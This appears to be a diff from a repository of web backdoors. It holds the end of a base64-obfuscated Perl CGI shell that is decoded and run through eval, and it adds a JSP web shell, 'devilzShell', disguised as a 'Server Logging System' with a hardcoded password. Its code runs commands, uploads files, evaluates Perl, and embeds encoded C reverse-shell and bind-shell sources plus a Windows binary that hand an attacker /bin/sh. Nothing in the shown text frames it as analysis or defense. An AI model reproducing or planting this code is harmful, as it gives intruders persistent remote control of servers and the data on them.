2F1bFwiPiBdPC9zcGFuPjwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3coJ25ld3VwbG9hZCcpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPlVwbG9hZDxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3coJ25ld2Nvbm5lY3QnKTtcIj48c3BhbiBjbGFzcz1cImdhdWxcIj5bIDwvc3Bhbj5CaW5kU2hlbGw8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDpzaG93KCdkaXZfZXZhbCcpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPlBlcmwgRXZhbDxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwibmV3Y29ubmVjdFwiPg0KPGZvcm0gbWV0aG9kPVwiZ2V0XCIgYWN0aW9uPVwiP1wiIHN0eWxlPVwiZGlzcGxheTppbmxpbmU7bWFyZ2luOjA7cGFkZGluZzowO1wiPg0KPHRhYmxlIGNsYXNzPVwidGJsQm94XCIgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZGlyXCIgdmFsdWU9XCIiLiR4Q3dkLiJcIiAvPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEzMHB4O1wiPkJhY2tDb25uZWN0PC90ZD48dGQgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIj4NClBvcnQmbmJzcDs8aW5wdXQgbWF4bGVuZ3RoPVwiNVwiIGlkPVwiYmFja0NcIiBvbmtleXVwPVwidXBkYXRlSW5mbygnYmFja0MnLDApO1wiIHN0eWxlPVwid2lkdGg6NjBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJicG9ydENcIiB2YWx1ZT1cIiIuJGJwb3J0Qy4iXCIgLz4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIG5hbWU9XCJidG5Db25uZWN0XCIgdmFsdWU9XCJDb25uZWN0XCIgLz4NCjwvdGQ+DQo8dGQ+PHNwYW4gaWQ9XCJiYWNrQ19cIiBjbGFzcz1cIm1zZ2NvblwiPmV4YW1wbGU6ICh1c2luZyBuZXRjYXQpIHJ1biAmcXVvdDtuYyAtbCAtcCAiLiRicG9ydEMuIiZxdW90OyBhbmQgdGhlbiBwcmVzcyBDb25uZWN0PC9zcGFuPjwvdGQ+DQo8L3RyPg0KPHRyPjx0ZD5MaXN0ZW48L3RkPjx0ZD4NClBvcnQmbmJzcDs8aW5wdXQgbWF4bGVuZ3RoPVwiNVwiIGlkPVwibGlzdGVuQ1wiIG9ua2V5dXA9XCJ1cGRhdGVJbmZvKCdsaXN0ZW5DJywxKTtcIiBzdHlsZT1cIndpZHRoOjYwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibHBvcnRDXCIgdmFsdWU9XCIiLiRscG9ydEMuIlwiIC8+DQo8aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDBweDtcIiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIiBuYW1lPVwiYnRuTGlzdGVuXCIgdmFsdWU9XCJMaXN0ZW5cIiAvPg0KPC90ZD4NCjx0ZD48c3BhbiBpZD1cImxpc3RlbkNfXCIgY2xhc3M9XCJtc2djb25cIj5leGFtcGxlOiAodXNpbmcgbmV0Y2F0KSBwcmVzcyAmcXVvdDtMaXN0ZW4mcXVvdDsgYW5kIHRoZW4gcnVuICZxdW90O25jICIuJHhTZXJ2ZXJJUC4iICIuJGxwb3J0Qy4iJnF1b3Q7PC9zcGFuPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwibmV3Zm9sZGVyXCI+DQo8Zm9ybSBtZXRob2Q9XCJnZXRcIiBhY3Rpb249XCI/XCIgc3R5bGU9XCJkaXNwbGF5OmlubGluZTttYXJnaW46MDtwYWRkaW5nOjA7XCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJHhDd2QuIlwiIC8+DQo8dGFibGUgY2xhc3M9XCJ0YmxCb3hcIiBzdHlsZT1cIndpZHRoOjU2MHB4O1wiPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPk5ldyBGb2xkZXJuYW1lPC90ZD48dGQgc3R5bGU9XCJ3aWR0aDozMDRweDtcIj4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjMwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZvbGRlcm5hbWVcIiB2YWx1ZT1cIm5ld2ZvbGRlclwiIC8+DQo8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIG5hbWU9XCJidG5OZXdmb2xkZXJcIiB2YWx1ZT1cIkNyZWF0ZVwiIC8+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPVwiaGlkZGVuXCIgaWQ9XCJuZXdmaWxlXCI+DQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgc3R5bGU9XCJkaXNwbGF5OmlubGluZTttYXJnaW46MDtwYWRkaW5nOjA7XCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJHhDd2QuIlwiIC8+DQo8dGFibGUgY2xhc3M9XCJ0YmxCb3hcIiBzdHlsZT1cIndpZHRoOjU2MHB4O1wiPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPk5ldyBGaWxlbmFtZTwvdGQ+PHRkIHN0eWxlPVwid2lkdGg6MzA0cHg7XCI+DQo8aW5wdXQgc3R5bGU9XCJ3aWR0aDozMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJmaWxlbmFtZVwiIHZhbHVlPVwibmV3ZmlsZVwiIC8+DQo8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIG5hbWU9XCJidG5OZXdmaWxlXCIgdmFsdWU9XCJDcmVhdGVcIiAvPg0KPC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwibmV3dXBsb2FkXCI+DQo8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiP2Rpcj0iLiR4Q3dkLiJcIiBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIHN0eWxlPVwiZGlzcGxheTppbmxpbmU7bWFyZ2luOjA7cGFkZGluZzowO1wiPg0KPHRhYmxlIGNsYXNzPVwidGJsQm94XCIgc3R5bGU9XCJ3aWR0aDo1NjBweDtcIj4NCjx0cj48dGQgc3R5bGU9XCJ3aWR0aDoxMjBweDtcIj5TYXZlIGFzPC90ZD48dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MzAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiZmlsZW5hbWVcIiB2YWx1ZT1cIlwiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPkZyb20gQ29tcHV0ZXI8L3RkPjx0ZCBzdHlsZT1cIndpZHRoOjMwNHB4O1wiPg0KPGlucHV0IHN0eWxlPVwid2lkdGg6MzAwcHg7XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZWxvY2FsXCIgLz4NCjwvdGQ+PHRkPg0KPGlucHV0IHN0eWxlPVwid2lkdGg6MTAwcHg7XCIgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuXCIgbmFtZT1cImJ0bk5ld1VwbG9hZExvY2FsXCIgdmFsdWU9XCJHZXRcIiAvPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwiZGl2X2V2YWxcIj4NCjxmb3JtIG1ldGhvZD1cImdldFwiIGFjdGlvbj1cIj9cIiBzdHlsZT1cImRpc3BsYXk6aW5saW5lO21hcmdpbjowO3BhZGRpbmc6MDtcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRpclwiIHZhbHVlPVwiIi4keEN3ZC4iXCIgLz4NCjx0YWJsZSBjbGFzcz1cInRibEJveFwiIHN0eWxlPVwid2lkdGg6NTYwcHg7XCI+DQo8dHI+PHRkPg0KPHRleHRhcmVhIG5hbWU9XCJldmFsXCIgc3R5bGU9XCJ3aWR0aDoxMDAlO2hlaWdodDoxMDBweDtcIj4iLiRjbWRldmFsLiI8L3RleHRhcmVhPg0KPC90ZD48L3RyPjx0cj4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246cmlnaHQ7XCI+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwcHg7XCIgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuXCIgbmFtZT1cImJ0bkV2YWxcIiB2YWx1ZT1cIkV2YWxcIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9XCJoaWRkZW5cIiBpZD1cIm5ld2NoaWxkXCI+DQo8Zm9ybSBtZXRob2Q9XCJnZXRcIiBhY3Rpb249XCI/XCIgc3R5bGU9XCJkaXNwbGF5OmlubGluZTttYXJnaW46MDtwYWRkaW5nOjA7XCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJHhDd2QuIlwiIC8+DQo8dGFibGUgY2xhc3M9XCJ0YmxCb3hcIiBzdHlsZT1cIndpZHRoOjU2MHB4O1wiPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPk5ldyBTaGVsbG5hbWU8L3RkPjx0ZCBzdHlsZT1cIndpZHRoOjMwNHB4O1wiPg0KPGlucHV0IHN0eWxlPVwid2lkdGg6MzAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY2hpbGRuYW1lXCIgdmFsdWU9XCIiLiRzaGVsbF9uYW1lLiIuY2dpXCI7IC8+DQo8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDBweDtcIiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIiBuYW1lPVwiYnRuTmV3Y2hpbGRcIiB2YWx1ZT1cIkNyZWF0ZVwiIC8+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPVwiYm90dG9td3JhcHBlclwiPg0KPGRpdiBjbGFzcz1cImNtZGJveFwiPg0KPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZGlyXCIgdmFsdWU9XCIiLiR4Q3dkLiJcIiAvPg0KPHRhYmxlIHN0eWxlPVwid2lkdGg6MTAwJTtcIj48dHI+DQo8dGQgc3R5bGU9XCJ3aWR0aDo4OCU7XCI+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgaWQ9XCJjbWRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCJcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgLz48L3RkPg0KPHRkIHN0eWxlPVwid2lkdGg6MTAlO1wiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIiBuYW1lPVwiYnRuQ29tbWFuZFwiIHN0eWxlPVwid2lkdGg6MTIwcHg7XCIgdmFsdWU9XCJFeGVjdXRlXCIgLz48L3RkPjwvdHI+PC90YWJsZT4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cInJlc3VsdFwiIGlkPVwicmVzdWx0XCI+DQoiLiRyZXN1bHQuIg0KPC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+DQoiOw0KfQ0KZWxzZSB7DQoJJGh0bWxfdGl0bGUgPSAkc2hlbGxfZmFrZV9uYW1lOw0KCSRodG1sX2hlYWQgPSAiPHRpdGxlPiIuJGh0bWxfdGl0bGUuIjwvdGl0bGU+Ii4kc2hlbGxfc3R5bGU7DQoJJGh0bWxfYm9keSA9ICINCjxkaXYgc3R5bGU9XCJtYXJnaW46MzBweDtcIj4NCjxkaXY+DQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwicG9zdFwiPg0KPGlucHV0IGlkPVwiY21kXCIgdHlwZT1cInRleHRcIiBuYW1lPVwicGFzc3dcIiB2YWx1ZT1cIlwiIC8+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJidG5wYXNzd2RcIiB2YWx1ZT1cIk9rXCIgLz4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBzdHlsZT1cImZvbnQtc2l6ZToxMHB4O1wiPiIuJHNoZWxsX2Zha2VfbmFtZS4iPC9kaXY+DQo8L2Rpdj4NCiI7DQp9DQppZihkZWZpbmVkKCRfVkFSeydjbWQnfSkgfHwgZGVmaW5lZCgkX1ZBUnsncGFzc3cnfSkpIHsgJGh0bWxfb25sb2FkID0gIm9ubG9hZD1cImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS5mb2N1cygpO1wiIjsgfQ0KZWxzZSB7ICRodG1sX29ubG9hZCA9ICIiOyB9DQokaHRtbF9maW5hbCA9ICINCjxodG1sPg0KPGhlYWQ+DQoiLiRodG1sX2hlYWQuIg0KPC9oZWFkPg0KPGJvZHkgIi4kaHRtbF9vbmxvYWQuIj4NCjxkaXYgaWQ9XCJtYWlud3JhcHBlclwiPg0KIi4kaHRtbF9ib2R5LiINCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPiI7DQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCiRodG1sX2ZpbmFsID1+IHMvXHMrLyAvZzsNCnByaW50ICRodG1sX2ZpbmFsOw==";$base64_alphabet='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';$base64_pad='=';$uuencode_alphabet = q|`!"#$%&'()*+,-./0123456789:;<=>?|.'@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_';$uuencode_pad='`';$tr_uuencode=" ".$uuencode_alphabet;$tr_uuencode=~s/(\W)/\\$1/g;$tr_base64="A".$base64_alphabet;$tr_base64=~s/(\W)/\\$1/g;sub b64decode{local($_)=@_;local($result);eval qq{tr|$tr_base64||cd;tr|$tr_base64|$tr_uuencode|;};while(s/^(.{60})//){$result.=unpack("u", "M".$&);}if($_ ne ""){$result.=unpack("u",substr($uuencode_alphabet, length($_)*3/4,1).$_);}return $result;}sub b64encode{local ($_) = @_;local ($chunk);local ($result);while (s/^((.|\n){45})//){$chunk = substr(pack("u", $&), $[+1, 60);eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|;};$result.=$chunk."\n";}if($_ ne ""){$chunk=substr(pack("u", $_),$[+1,int((length($_)+2)/3)*4-(45-length($_))%3);eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|;};$result.=$chunk.($base64_pad x ((60-length($chunk))%4))."\n";}$result;}eval(b64decode($shell_code));
\ No newline at end of file
diff --git a/Backdoor Dev Shells/devshell.jsp b/Backdoor Dev Shells/devshell.jsp
new file mode 100644
index 0000000..7a21fdd
--- /dev/null
+++ b/Backdoor Dev Shells/devshell.jsp
@@ -0,0 +1,1319 @@
+<%@ page contentType="text/html"%><%@ page import="java.io.*,java.util.*,java.net.*,java.text.*,sun.misc.*,java.security.*,java.lang.*,java.lang.String" %><%
+//
+// devilzShell <[jsp]>
+// ^^^^^^^^^^^^
+// author: b374k
+// greets: devilzc0der(s) and all of you who love peace and freedom
+//
+//
+// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+// Jayalah Indonesiaku
+
+
+//################ VARIABLES GOES HERE #######################=============================================]
+String shell_name = "devilzShell";
+String shell_fake_name = "Server Logging System";
+String shell_title = " :: " + shell_name + " ::";
+String shell_version = "v1";
+String shell_password = "devilzc0der";
+String shell_fav_port = "12345";
+String shell_color = "#374374";
+
+// server software
+String xSoftware = application.getServerInfo().trim();
+// uname -a
+String xSystem = System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch");
+// server ip
+InetAddress inetAddress = InetAddress.getLocalHost();
+String xServerIP = inetAddress.getHostAddress();
+// your ip ;-)
+String xClientIP = request.getRemoteAddr();
+
+String xHeader = xSoftware + " " + xSystem + " Server IP: [ " + xServerIP + " ] Your IP: [ " + xClientIP + " ] ";
+
+//################# RESOURCES GOES HERE #######################=============================================]
+String icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtxdCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/eioL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWUvxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hypgaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjOD1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC";
+String bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAEMZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
+String xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBzaW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJdLHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBwZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
+String xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiByZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5fYWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsNCiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rlbihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCwwKTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwyKTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0KfQ==";
+String wBind = "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